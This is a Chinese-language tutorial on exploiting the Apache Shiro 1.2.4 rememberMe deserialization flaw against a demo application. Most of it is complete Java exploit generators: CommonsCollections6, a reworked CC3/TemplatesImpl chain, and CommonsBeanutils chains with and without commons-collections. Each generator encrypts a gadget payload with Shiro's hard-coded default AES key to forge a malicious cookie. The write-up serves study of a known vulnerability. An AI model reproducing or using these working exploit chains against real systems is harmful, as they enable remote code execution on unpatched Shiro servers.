Shiro550反序列化漏洞(Shiro<1.2.4)
CommonsCollections6链利用尝试
先来看一段这个漏洞描述:
为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞
这里使用的shiro应用demo为https://github.com/phith0n/JavaThings/tree/master/shirodemo
测试的jdk版本为8u111 以及 8u211 都试过可以触发。
shiro
的特征:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
处理cookie的流程:
得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
生成payload的流程:
命令 --> 攻击链反序列化 --> AES加密–> Base64编码–> 得到rememberMe的cookie值 (payload)
使用shiro内置的类 org.apache.shiro.crypto.AesCipherService进行AES加密,先要找到硬编码的key,然后写一个exp生成payload。
key的位置位于org.apache.shiro.mgt.AbstractRememberMeManager
(shiro<=1.2.4)
package ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class shiroattack {
public static void main(String []args) throws Exception {
byte[] payloads = CommonsCollections6Payload("calc.exe");
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
public static final byte[] CommonsCollections6Payload(String cmd) throws NoSuchFieldException, IOException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{cmd}),
new ConstantTransformer(1)};
//防止payload生成过程中触发,先放进去一个空的Transform
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet expMap = new HashSet();
expMap.add(entry);
//移除entry那lazyMap的键
lazyMap.remove("foo");
//通过反射将真正的恶意Transform放进去
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// 生成序列化字节
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
直接将生成的payload打过去没有弹出计算机但是tomcat报错了
跟一下报错信息从最初的报错开始(ClassResolvingObjectInputStream.java:53),可以看到,这是一个ObjectInputStream的子类,其重写了 resolveClass 方法(用来查找类对应的 java.lang.Class 对象)
看到报错行用的是org.apache.shiro.util.ClassUtils#forName
(实际上内部用到了org.apache.catalina.loader.ParallelWebappClassLoader#loadClass )
,其父类的resolveClass 方法则是使用了Java原生的 Class.forName
。
再看到第二层的报错,其实是org.apache.commons.collections.Transformer 的数组在加载时出错了
具体原因参考:
https://blog.zsxsoft.com/post/35
http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-CVE-2016-4437/
总之反序列化中只能加载Java自身的数组所以Transformer不能用了,而之前几篇文章中的CC链中都使用了这个数组即使是对Transformer依赖更低的CC3,也使用其作为触发TemplatesImpl.newTransformer
的方式。
CommonsCollections3高版本利用链改造
回想一下恶意对象调用链中Transform数组运行原理,即在ChainedTransformer中将数组中上一个对象的transform的结果作为下一个对象的输入从而串联起来类到类方法的调用,CC1、CC6中使用InvokerTransformer的话肯定是没法避开了。而CC3中只是为了调用TemplatesImpl.newTransformer
方法串不串起来其实无所谓可以不需要ChainedTransformer
这个类,也就不用Transformer数组了。
在CC6中使用了一个TiedMapEntry作为中继调用了LazyMap
(map)的get
函数。
那么只要设置key为构造好的TemplatesImpl
就行了,InstantiateTransformer
(factory)的transform方法调用了key(TrAXFilter)构造方法,剩下的部分就和CC3高版本利用链的一样了,这里我做了一点小改动用hashset。
还有就是手动去class内容编码再填充太麻烦了,利用javassist
将恶意类生成字节码再交给 TemplatesImpl 。
POC:
package ser;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class shiroattack {
public static void main(String []args) throws Exception {
byte[] payloads = CommonsCollections3Payload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
public static final byte[] CommonsCollections3Payload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get(evalClassTemplatesImpl.class.getName());
byte[] code = clazzz.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl } );
Transformer fakeTransformers = new ConstantTransformer(1);
//包装innerMap,回调TransformedMap.decorate
//防止payload生成过程中触发,先放进去一个空的Transform
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, fakeTransformers);
TiedMapEntry entry = new TiedMapEntry(lazyMap, TrAXFilter.class);
HashSet expMap = new HashSet();
expMap.add(entry);
//移除entry那lazyMap的键
lazyMap.clear();
//通过反射将真正的恶意Transform放进去
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,transformer);
//生成序列化数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
而p神在Java漫谈中则是直接用的InvokerTransformer去触发,是基于CC6修改的,相对容易理解。
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
补充说明:
P神最后还提到了这两点
Shiro不是遇到Tomcat就一定会有数组这个问题
Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了
CommonsBeanutils
除了commons-collections3的利用链改造之外,还有CommonsBeanutils这个shiro自带的依赖工具包。
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
对于这条链子相关,简单来说commons-beanutils有个PropertyUtils.getProperty
静态方法会自动找到类属性的getter方法,也就是 getXxx()。
PropertyUtils.getProperty(new Any(), "xxx");
//递归获取属性,a对象中有属性b,b对象中有属性c
PropertyUtils.getProperty(a, "b.c");
这个方法寻找的getter方法是怎么定义的呢,以get开头后面接属性名,属性名第一个字母大写全名符合骆驼式命名法(Camel-Case)也就是getXxx()这样的,那只要符合这个形式的就能被调用。
回顾一下 TemplatesImpl的调用链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()
之前是直接用的TemplatesImpl#newTransformer()
这个公共方法并没有用最后的TemplatesImpl#getOutputProperties()
,这个函数名刚好符合getter方法的命名可以被PropertyUtils.getProperty
调用。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
要使用TemplatesImpl的链子还缺调用PropertyUtils.getProperty()
的地方,在commons-collections4中提到的新利用链有个java.util.PriorityQueue
,这个优先队列的元素根据它们的自然顺序或在队列构建时提供的 Comparator 进行排序。在反序列化实现了java.util.Comparator 接口的类时为了保证队列顺序,会调用该类的compare()比较大小进行重排序。
commons-beanutils包中存在一个org.apache.commons.beanutils.BeanComparator
实现了java.util.Comparator 接口用来比较两个JavaBean是否相等。
public int compare( Object o1, Object o2 ) {
if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}
这个compare()方法中调用了PropertyUtils.getProperty()
:
Object value1 = PropertyUtils.getProperty( o1, property );
o1是JavaBean对象,property是属性名字。
下面开始写POC,如果一开始就设置属性值,就会报错Integer类没有这个属性方法
Comparator comparator = new BeanComparator("outputProperties");
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
使用反射设置即可,最后再把恶意的templatesImpl丢进去
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templatesImpl, "any"});
POC:
package ser;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CommonsBeanutils1 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get(evalClassTemplatesImpl.class.getName());
byte[] code = clazzz.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Comparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templatesImpl, "any"});
//生成序列化数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
//反序列化
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
攻击shiro应用
下面就是攻击之前那个shirodemo了:
package ser;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CommonsBeanutilsShiroAttack {
public static void main(String[] args) throws Exception {
byte[] payloads = CommonsBeanutils1Payload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
public static final byte[] CommonsBeanutils1Payload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get(evalClassTemplatesImpl.class.getName());
byte[] code = clazzz.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Comparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templatesImpl, "any"});
//生成序列化数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
生成的时候要注意commons-beanutils版本,Shiro依赖的commons-beanutils版本为1.8.3,如果版本不一样会报serialVersionUID的错误,Java为了防止两个不同版本的库的同名类可能有一些方法和属性不同,而在序列化通信的时候不兼容出问题,以serialVersionUID来表明识别每个版本的类。
无依赖的Shiro反序列化利用链
那么这个CommonsBeanutils链是完全不需要commons-collections3.2.1的依赖吗,可以看到commons-beanutils是有依赖一部分collections的类的。
把commons-collections3.2.1依赖删了再试试,
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。
要找无依赖的利用链先得看org.apache.commons.collections.comparators.ComparableComparator
在CommonsBeanutils哪处使用了,再去看怎么替代。
这个构造方法就是设置要调用的getter方法对应JavaBean属性值,既然这个不行换一个构造方法:
public BeanComparator( String property, Comparator comparator ) {
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
需要传入一个实现了Comparator、Serializable接口的类,并且是Java、shiro或commons-beanutils自带,且兼容性强关键是不影响后面的调用链。
通常用的是下面这两个类:
- java.lang.String$CaseInsensitiveComparator
- java.util.Collections$ReverseComparator
CaseInsensitiveComparator
这个String的内部类,其compare方法并不会对后续利用链产生影响。
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;
public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}
通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator:
final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);
还要修改添加进queue的值为字符串
POC:
package ser;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutilsShiroWithoutCC {
public static void main(String[] args) throws Exception {
byte[] payloads = CommonsBeanutils1Payload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
public static final byte[] CommonsBeanutils1Payload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get(evalClassTemplatesImpl.class.getName());
byte[] code = clazzz.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templatesImpl, "any"});
//生成序列化数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
java.util.Collections$ReverseComparator
这个类的compare方法也不会影响后面的利用链,通过reverseOrder()静态方法就能获取到ReverseComparator类
public static <T> Comparator<T> reverseOrder() {
return (Comparator<T>) ReverseComparator.REVERSE_ORDER;
}
/**
* @serial include
*/
private static class ReverseComparator
implements Comparator<Comparable<Object>>, Serializable {
private static final long serialVersionUID = 7207038068494060240L;
static final ReverseComparator REVERSE_ORDER
= new ReverseComparator();
public int compare(Comparable<Object> c1, Comparable<Object> c2) {
return c2.compareTo(c1);
}
private Object readResolve() { return Collections.reverseOrder(); }
@Override
public Comparator<Comparable<Object>> reversed() {
return Comparator.naturalOrder();
}
}
修改一下就行:
final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
参考:
Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用
https://www.anquanke.com/post/id/192619